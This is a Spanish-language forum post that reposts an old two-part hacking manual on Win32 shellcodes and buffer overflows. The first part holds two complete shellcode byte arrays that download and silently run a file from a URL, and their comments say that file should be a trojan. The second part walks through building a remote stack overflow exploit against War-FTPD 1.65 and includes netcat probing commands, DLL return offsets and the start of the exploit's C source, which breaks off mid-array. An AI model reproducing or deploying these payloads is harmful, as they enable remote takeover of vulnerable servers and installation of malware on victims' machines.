• Manual sobre Shellcodes y Overflows [por UNDERSEC/Avanzado]

  • Explotación de Vulnerabilidades y análisis "in the wild".
Explotación de Vulnerabilidades y análisis "in the wild".
 #171458  por DSR!
 22 Abr 2010, 19:06
/* RaiSe/eid0- UNDERSEC Security Team */
/* [ Debe registrarse para ver este enlace ] */



----

+ Indice Global:

. Primera parte: 'Shellcodes' (por RaiSe).
. Segunda parte: 'Overflows' (por Eid0).

----

[### PRIMERA PARTE ###]

==[ Shellcodes en Win32 ]====================================================
==[ por RaiSe ]==============================================================



--------------
0.- Indice
--------------


0.- Indice
1.- Introduccion
2.- Scodes en Win32
3.- Breve descripcion del formato PE
4.- Export Table
5.- Ejecutando la shellcode
6.- Shellcodes en formato C
7.- Comentarios
8.- Despedida


----------------------
1. Introduccion
----------------------

----------------------------
2.- Scodes en Win32
----------------------------

---------------------------------------------
3.- Breve descripcion del formato PE
---------------------------------------------

----------------------
4.- Export Table
----------------------

-------------------------------------
5.- Ejecutando la shellcode
-------------------------------------

-------------------------------------
6.- Shellcodes en formato C
-------------------------------------

[ Debe registrarse para ver este enlace ]
<++>
/*
 * Shellcode generica en todos los windows de la familia 98/ME/NT/2000/XP
 * Necesita tener la funcion GetModuleHandleA en la import table
 * Probabilidades de que funcione: 99,99%
 * 790 bytes
 *
 * Una vez ejecutada se baja el fichero de la URL escogida, lo ejecuta
 * silenciosamente y sale del proceso original. Dicho fichero puede (y
 * debe }:) ) ser un troyano. El limite de tama¤o es de 2.2 mb del fichero
 * a bajar aproximadamente, y se guarda con el nombre 'nssc.exe' en el 
 * ordenador remoto. Lo unico modificable de la shellcode es la URL.
 */


char scode[] =
"\xEB\x30\x5F\xFC\x8B\xF7\x80"
"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1"
"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B"
"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40"
"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D"
"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33"
"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80"
"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6"
"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02"
"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03"
"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03"
"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76"
"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06"
"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02"
"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D"
"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC"
"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1"
"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53"
"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9"
"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0"
"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D"
"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B"
"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4"
"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0"
"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4"
"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0"
"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75"
"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64"
"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F"
"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F"
"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F"
"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50"
"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C\x08\x49"
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65"
"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65"
"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65"
"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65\x08"
"http://www.host.com/troyano.exe"
"\x08\x01";

<-->
Código: [ Debe registrarse para ver este enlace ]
<++>
/*
 * Shellcode generica en todos los windows de la familia98/ME/NT/2000/XP
 * Necesita tener la funcion LoadLibraryA en la import table
 * Probabilidades de que funcione: 98%
 * 710 bytes
 *
 * Una vez ejecutada se baja el fichero de la URL escogida, lo ejecuta
 * silenciosamente y sale del proceso original. Dicho fichero puede (y
 * debe }:) ) ser un troyano. El limite de tama¤o es de 2.2 mb del fichero
 * a bajar aproximadamente, y se guarda con el nombre 'x.exe' en el ordenador
 * remoto. Lo unico modificable de la shellcode es la URL.
 */


char scode[] =
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"
"http://www.host.com/troyano.exe"
"\x08\x01";

<-->

------------------------
7.- Comentarios
------------------------

-------------------
8.- Despedida
-------------------
 #171459  por DSR!
 22 Abr 2010, 19:07
[### SEGUNDA PARTE ###]


WIN32 SHELLCODES
UN ACERCAMIENTO PRACTICO: Exploit Remoto War-Ftpd 1.65

PRESENTACION

Hola, este es mi primer articulo para netsearch.
Cualquiera que quiera contactar conmigo para hacer comentarios y/o
correcciones puede encontrarme pululando en #netsearch como eid0,
o via mail en:

[ Debe registrarse para ver este enlace ] Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
.

Peace & Hack the world!!


INTRODUCCION

En este art­culo intentare explicar de modo practico la construccion
de un exploit remoto por buffer overflow. Para seguirlo es necesario
dominar la teoria de buffer overflows, programacion asm en win32,
creacion de shellcodes y estar familiarizado con el softice ya que no
entrare para nada en estos temas.
Si quereis informaros sobre la teoria en que se fundamentan estos ataques
en windows, mirad el excelente articulo de Raise.

En este articulo nos pelearemos con los problemas practicos,
que no son pocos, realizando un xploit remoto para un programa que
utiliza SEH para evitar que se vean los segmentation faults.
Nuestra victima va a ser el War-ftpd 1.65, es una version antigua
pero muy utilizada de este famoso servidor de ftp para windows (aun
utiliza alguien windows para servidores? }:D).
Por favor, si alguien utiliza este servidor de ftp que se actualice a la
ultima version disponible.

Si quereis seguir bien este texto necesitareis un linuxete en una
maquina que ademas tenga perl y netcat, y en la otra un windows con el
warftpd, el softice, y el listdlls.
El xploit lo he compilado en linux pero me imagino que compilara en
windows sin practicamente modificaciones.
El IDA y windisasm no los voy a mencionar pero no estaria mal que lo
tuvierais tambien.


COMIENZA EL ASEDIO

Vale, pues venga, primero tenemos que saber donde encontrar un overflow
explotable. A nuestros oidos ha llegado un rumor que dice que lanzando
un comando USER con un nombre de esos que utiliza la gente que se cree
importante empiezan a pasar cosas raras.
Pos fale, probemos:

[[email protected] /]# ftp 192.168.0.2
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter
your user name.

Name: JuanJesusmoiseschikitistansebastianfroilandetodoslossantos 331
User name okay, Need password.
Password:kaka

421 Password not accepted. Closing control connection. Login failed.

Joder, pues no ha pasado nada. Es que uno ya no puede confiar ni en un
rumor infundado :D

En el display del log del warftpd me sale lo siguiente:

(1) [L 2001 10 10 13:37] 00001 JuanJesusmoiseschikitistansebastianfroilan
detodoslossantos cntr User from 192.168.0.1 logged out. (2) [C 2001 10 10
13:37] 00001 JuanJesusmoiseschikitistansebastianfroilandetodoslossantos
cntr Illegal userid. Login refused.

Llamo a mi confidente para decirle que es un mentiroso y tal, y que me
devuelva el dinero, entonces me dice que no, que el user ha de ser de
gente aun mucho mas importante, bueno, pues pongo las manos en el teclado
y le digo al linuz que fuerce un poquito mas la cosa.

[[email protected] /]# perl -e 'print "USER ","A"x2000,"\n"' | nc 192.168.0.2 21
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your
user name.
331 User name okay, Need password. <---AQUI PULSAMOS CTRL-C PARA ABORTAR
punt!

Ostias!, el drwatson con su mensajito de la operacion no admitida.
Dice que ha habido un ostiazo en el modulo KERNEL32.DLL en la eip
167:bff87edf , vaya hombre, no nos ha aparecido nuestro querido overflow
de pila tradicional de eip=41414141 , sera un overflow de heap de esos
tan cabrones de explotar? Hay que investigar...

Hacemos peek & poke con el Sice, nos metemos en el kernel32 en la eip
ke nos dicen, vemos que estamos en la funcion virtualqueryex y vemos
que se ha quedado sin pila, mmmm... esto no huele a heap overflow,
esto mas bien parece que alguna funcion ha escrito sobre memoria no
paginada y el propio handler de excepcion ha petado por no tener pila
suficiente, este windows98....

Si el overflow lo provocamos en un 2000-NT vemos que no ocurre nada,
no salta el watson ni nada de nada, con lo que la hipotesis toma
consistencia, ya que indica que el S.O. es el que esta provocando la
excepcion.

Vale, vamos a seguir pensando, si hemos escrito sobre una zona no
paginada que ha hecho ejecutar el handler de la excepcion, significa
que la funcion que esta overflowando un buffer se pasa de largo,
es decir, overflowea el buffer, overflowea todos los datos contiguos
al buffer, y por ultimo llega a una zona no paginada donde intenta
escribir, y es donde el windows peta (mas exactamente ejecuta un
handler de excepcion que peta).
O sea, que simplemente podria ser cuestion de no meter tantos caracteres
al buffer para no llegar a esa zona no paginada. Solo hay una manera de
saberlo...

Probemos:

[[email protected] /]# perl -e 'print "USER ","a"x1000,"\n"' | nc 192.168.0.2 21
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
punt!

Lo mismo, el war peta en el mismo sitio.
Sigamos...
[[email protected] /]# perl -e 'print "USER ","a"x500,"\n"' | nc 192.168.0.2 21
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
punt!

Ostias, el programa se tara, se pone a loggear lo mismo sin parar, pero el
Watson no aparece con la excepcion.
Es momento de dar una vuelta de tuerca a las neuronas, que a veces sirven
para algo mas que para absorber cerveza...
Bueno, el programa no para de loggear y esta claro que le hemos chafado
todo lo chafable.. Se me ocurre una hipotesis que explicaria lo que esta
sucediendo, consiste mas o menos en que la rutina en cuestion este hecha
de esta forma: ...

recibedatos()
loggea:
_try
{
loggeadatos
}
except sigsegv
{
goto loggea
}

Esto es lo que en el mundillo del assembler de win32 se le llama como
exception handler de tipo 2 o de "por thread" que utiliza la
arquitectura SEH (Structured Exception Handler) del Windows.
Cuando el procesador interrumpe la ejecucion de un proceso por que ha
habido una excepcion de hardware (en este caso del procesador) va a
buscar en la tabla IDT (referenciada por el registro IDTR) que esta en
memoria que es lo que ha de ejecutar por haberse producido esa exception.
El windows toma el control y utilizando el registro FS que apunta al TIB
(thread information block) comienza a ejecutar todos los exceptions
handles chaineados que hayan hasta que uno le devuelva un 0 en eax.

Otro posible handler es el de tipo 1 o de "por proceso", este se coloca
con el api SetUnhandledExceptionFilter y no se puede chainear, o sea
solo puede haber uno para todo un proceso (incluido sus threads).
Este se ejecuta cuando no hay un handler de tipo 2 y cuando el programa
no tiene debugger.



BUSCANDO EL ARCA PERDIDA

Bien, visto lo visto, nos vemos obligados a buscar la funcion que
overflowea el buffer a mano. Con la ayuda de los breakpoints del Sice,
traceamos el programa y buscamos la rutina.
Esto podria llegar a ser muy largo y tedioso pero utilizando los
breakpoints de mensajes de ventana,los registros de debug del pentium
que nos permite interrumpir los programas cuando estos acceden a zonas
de memoria que les digamos, y con unos cuantos comandos mas del softice,
nos hacemos rapidamente con la rutina que esta jodiendo la marrana.
Si quereis mas informacion sobre la busqueda de codigo con el softice,
en la red se encuentran manuales de cracking que explican infinidad de
metodos. Unos de los mas interesantes, entretenidos y didacticos son los
essays de +ORC, los cuales os recomiendo su lectura para pasar un buen
rato. Lo unico necesario es utilizar un poco la cabeza y saber que esta
uno buscando (metodo Zen Cracking con imprescindible vodka & soda en
la mano ;)).

Finalmente encontramos nuestra instruccion en la direccion 4044f9 ..
..
..
4044f9 Call 44cfc4
..
..
Que no es mas que un call al "sprintf" de la libreria msvcrt.dll.
(Si teneis cargados los exports del msvcrt.dll vereis el call como
4044f9 Call sprintf )
Bingooo!!!

Buscamos el ret de la subrutina y lo encontramos en:
404605 Ret 0004


COMPROBANDO EL HANDLER DE SEH Y VIENDO QUIEN ES QUIEN

Ahora comprobaremos la existencia de un handler de excepcion que nos
oculta al watson. Para ello hacemos lo siguiente:

En el S-ice metemos un breakpoint de ejecucion: addr war-ftpd
bpx 404605
En el linux lanzamos el ataque:
[[email protected] /]# perl -e 'print "USER ","A"x500,"\n"' | nc 192.168.0.2 21
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
punt!
El S-ice saca el pantallazo en el ret, pulsamos F8 y tenemos:
0167:41414141 INVALID
0167:41414143 INVALID

Lineaaa!! Ha overflowado la IP y se nos ha ido a nuestra querida direccion
41414141 ("AAAA"), si volvemos a pulsar F8 veremos que el war sigue
ejecutandose sin rechistar ya que se ha ejecutado el exception handler,
y el S-ice anda un poco perdido.
Si comprobamos el TIB, inspeccionamos el registro FS vemos que el handler
no es de tipo 2, o sea que tiene que ser de tipo 1 y ha sido puesta en
algun momento por el programa(o sus librerias) con el
SetUnhandledExceptionFilter.

Pero en definitiva,
ESTE ES UN OVERFLOW NORMAL DE PILA!!!!


REENCUENTRO CON VIEJOS AMIGOS

El warftpd hace la siguiente llamada al snprintf,
sprintf ( variable local de pila=ECX , "[L 2001 fecha actual] AAAAAA..
AAAAA.....AAAAAAAA cntr User from 192.168.0.1 logged out" );

Como podemos comprobar esas son nuestras A's pero el war las ha precedido
de "[L 2001 fecha actual]" y lo que es peor, como ya se vera luego,
es que lo ha finalizado con "cntr User from 192.168.0.1 logged out".


RECOPILANDO INFO

En Win98, en el momento de hacer el sprintf, ESP vale 00ccfafc,
la variable local esta referenciada en ECX que vale 00ccfb18.

Vamos a ver cuanto espacio tenemos en la pila, tecleamos en el S-ice:

addr war-ftpd
D CCFB18

Vemos la pila y vemos que acaba en 0xCCFFFF. Ahora reseteamos todo y
vemos la situacion cuando se alcanza el ret.

BPX 404605
Atacamos y cuando nos da el pantallazo tenemos varios datos interesantes:
ESP=CCFD18
EBP=CCFD78
EBX=CCFE14

Bueno, ahora repasamos y sacamos la calculadora:
Bytes antes del ret=> CCFD18-CCFAFC=540 bytes.
Despues del ret tenemos=>CCFFFF-CCFD1C=739 bytes.

Estos numeros no estan pulidos ya que nuestro USER solo puede
utilizar un porcentaje de estos buffers.


Y COMIENZAN LOS PROBLEMAS

Ahora empezamos a dislumbrar los problemas, empecemos a enumerarlos:

1.Como el war nos finaliza la cadena con ese "has logged out",
no podremos utilizar el 0 del fin de cadena para saltar al segmento
de codigo del warftpd en alguna instruccion CALL ESP o equivalente,
por lo que tendremos que utilizar las librerias de Windows para tomar
el control del overflow. Bienvenido al mundo de las versiones de windows.
Esto ya lo retomaremos mas tarde.

2.Entre el snprintf y el ret, la rutina modifica muchos bytes del buffer
antes y despues del ret,a parte hemos de restar el tamaÏo del string que
antepone y que finaliza la cadena del log, por lo que con estas
correcciones tenemos:

Bytes antes del ret=450bytes
Bytes despues=650bytes

3. Bytes prohibidos en el buffer, el nombre de usuario no puede tener
los bytes 0x40 ("@"),0x0d(intro),0x0F, ni 0. Con lo que la shellcode
no podra tener estos caracteres.


NOS CREAMOS UNA MINISHELLCODE

Bueno, con esta informacion, ahora debemos de crearnos una shellcode
peque¤a y que no contenga los caracteres prohibidos.
Esta parte me la salto, para mas detalles sobre como hacer shellcodes
para win32, leeros el articulo de Raise.
Finalmente, con esfuerzo, consigo hacerme una shellcode de 350 bytes
a los que sumo espacio para meter una url de aprox 50 bytes con lo que
finalmente obtengo la shellcode de 407 bytes, y con el contenido
minimamente encriptado para no ir ense¤ando las entra¤as a todos los
sniffers y logs del mundo.


A GRANDES PROBLEMAS GRANDES REMEDIOS

Bien, nos encontramos con que no podemos utilizar el modulo del programa
para saltar alli y darle la ejecucion a la pila, ya que este esta en la
zona 0x0040xxxx y no podemos conseguir un 0 para chafar la IP debido a
que la cadena acaba en "has logged out"{jumi [*3] [[ Debe registrarse para ver este enlace ]]}.
Esto nos obliga a buscar una instruccion amiga en alguna dll cargada en
el contexto del programa, y aqui es donde empiezan los verdaderos
problemas, si pudieramos saltar al modulo warftpd.exe con la ayuda del 0
tendriamos un xploit que funcionaria en todas las plataformas sin tener
que modificar nada, ahora tendremos que echar mano de las dlls de Windows
mapeadas por el proceso y su universo de versiones.

Echo un vistazo y me doy cuenta de que un call o jmp esp esta solo
en las librerias de windows que mas cambian entre versiones, por lo que
explotar un sistema desconocido podria ser una odisea, adivinando
versiones y demas...
Vamos a ver que mas tenemos, ahora le echo un ojo a los datos que marque
como interesantes cuando se producia el ret, es decir, EBP y EBX.
En el momento del ret EBP apunta a una zona de pila posterior al
retadress, podriamos utilizar esto para buscar en las librerias
un CALL/JMP EBP que es mucho mas comun que no los JMP ESP,
y lo podremos encontrar en librerias mas estables del windows.

El problema es que ebp variara mucho si el war esta en win98 o si esta
en NT/2000 por lo que vamos a generar otra shellcode que encapsulara
a la primera y sera muy flexible teniendo en cuenta que su inicio de
ejecucion puede variar enormemente debido a ebp:


SHELLCODE 2, MULTIWINDOWS

nop <-iniciobuffer
.
nop
SHELLCODE1 PROPIAMENTE DICHA (407 bytes)
bytes irrelevantes ke
kambiara el war
ccfd18: retaddress->apunta a instruccion de libreria
con call ebp o jmp ebp
[ccfd78 en windows98]
ccfd1c: bytes irrelevantes
ke kambiara el war
nop
..
ccfd78: nop
nop
..
nop
add esp,FFFFFE3E
jmp esp
{jumi [*3] [[ Debe registrarse para ver este enlace ]]}

Como se puede ver ahora hay un nivel de indireccion mas, el call ebp
llevara la ejecucion a la zona de memoria alta de nops que al final
saltara a la zona baja de nops donde finalmente se ejecutara la shell
original.
Como vemos, para realizar esto, solo tenemos que paddearla con nops
antes y detras todo lo que podamos y al final meter una instruccion
de resta de esp (en este caso sumamos -300 para que no de ningun 0 en
los codeops) y saltar a ella, ya que las pilas seran diferentes para NT
y win9x y no debemos hardcodear las direcciones.


BUSCANDO OFFSETS DESESPERADAMENTE

Ahora es cuestion de buscar algunos offsets en librerias de Windows
que sepa que no varien mucho en el tiempo y que contengan mis
instrucciones favoritas CALL EBP,JMP EBP.

Esto se consigue instalando todas las versiones de NT, yo lo hago con
ghost para cambiar de tipo de NT en 2-3 minutos, y luego ejecutar el
programa listdlls que nos dira que librerias hay instaladas en el
contexto del proceso war-ftpd.

Al tener el sistema flexible de explotacion nos hacen falta pocos
offsets.

Win9x que lo encontramos en el kernel32.dll dir. 0xbff941e2-->CALL EBP
Uno para NT SP3-SP6 originales->0x779e2b2e libreria MSVCRT.DLL
Otro para NT's SP6 con Internet Explorer 5 o posterior en 0x77df53f7


RESULTADO FINAL

Finalmente, nos generamos un programa en C que genera esta segunda
shellcode a partir de la primera que esta hecha en asm y saca toda
la shellcode resultante por pantalla.

Al payload del xploit le pongo un codigo que se conecta a una pagina
web, baja un archivo determinado y lo ejecuta, en este caso el archivo
al que apunto es un juego de ping-pong de MSX.

Llega el momento de la verdad, el momento de explotar el warftpd...

[[email protected] exploitwar165]#
warexp 2 [ Debe registrarse para ver este enlace ] | nc 192.168.0.2 21

220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
331 User name okay, Need password. <---Pulsar Ctrl-C
punt!

En el Windows de la maquina atacada la pantalla da un flash,
el war-ftpd se esfuma, y el juego aparece, despues de la dura batalla,
nos tomamos nuestro merecido descanso...

Eid0
[ Debe registrarse para ver este enlace ]

[ Debe registrarse para ver este enlace ] Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla



CODIGO FUENTE EXPLOIT WAREXP.C

/////////////////////////////////////////////////////////
// Remote Xploit for Warftpd 1.65
/////////////////////////////////////////////////////////
//
// This Xploit forces a remote Windoze war-ftpd to download a program
// from an url and execute it with VISIBLE mode.
// It doesn't need any account as the overflow is in the command USER.
// Don't bother to ask me how to change the payload to be invisible.
// The world don't need script kiddies.
// World need people thinking themselves.
// Peace
//
// Compilation: gcc warexploit.c -o warexp
//
// Execution:
// warexp typeofwindows url | nc ipvictim portftp(21)
//
// Example
// warexp 0 [ Debe registrarse para ver este enlace ] | nc victimhost 21
// 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
// 220 Please enter your user name.
// 331 User name okay, Need password.
// <--Press Ctrl-C or put any password
// punt!
//
// Greetz to: Raise, and all people in #netsearch
// Dedicated to AnnA: I love you
//
// eid0
//
[ Debe registrarse para ver este enlace ] Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla

// [ Debe registrarse para ver este enlace ]
// explanatory article in:
// [ Debe registrarse para ver este enlace ] ezine #7 or
// [ Debe registrarse para ver este enlace ] ... arftpd.htm
//
/////////////////////////////////////////////////////////////////
#include
#include
#include

//#define OVERLEN 585
#define NOP 0x90

unsigned char astroploit[] =
{0x54,0x5F,0x33,0xC0,0x50,0xF7,0xD0,0x50,0x59,0xF2,0xAE,0x39,0x47,
0xFC,0x75,0xF9, 0x59,0xB1,0xB8,0x8B,0xC7,0x48,0x80,0x30,0x99,0xE2,
0xFA,0x83,0xE4,0xFC,0x33,0xF6, 0x96,0xBB,0x11,0x44,0xCA,0x44,0xC1,
0xEB,0x08,0x56,0xFF,0x13,0x8B,0xD0,0xFC,0x33, 0xC9,0xB1,0x06,0xAC,
0x84,0xC0,0x75,0xFB,0x52,0x51,0x56,0x52,0x66,0xBB,0x18,0xCA,0xFF,
0x13,0xAB,0x59,0x5A,0xE2,0xEC,0xAC,0x84,0xC0,0x75,0xFB,0x66,0xBB,
0x44,0xCA, 0x56,0xFF,0x13,0x8B,0xD0,0xFC,0x33,0xC9,0xB1,0x03,0xAC,
0x84,0xC0,0x75,0xFB,0x52, 0x51,0x56,0x52,0x66,0xBB,0x18,0xCA,0xFF,
0x13,0xAB,0x59,0x5A,0xE2,0xEC,0xAC,0x84, 0xC0,0x75,0xFB,0x33,0xDB,
0x53,0x53,0x53,0x43,0x53,0x4B,0x53,0xFF,0x57,0xF4,0x53, 0x53,0x53,
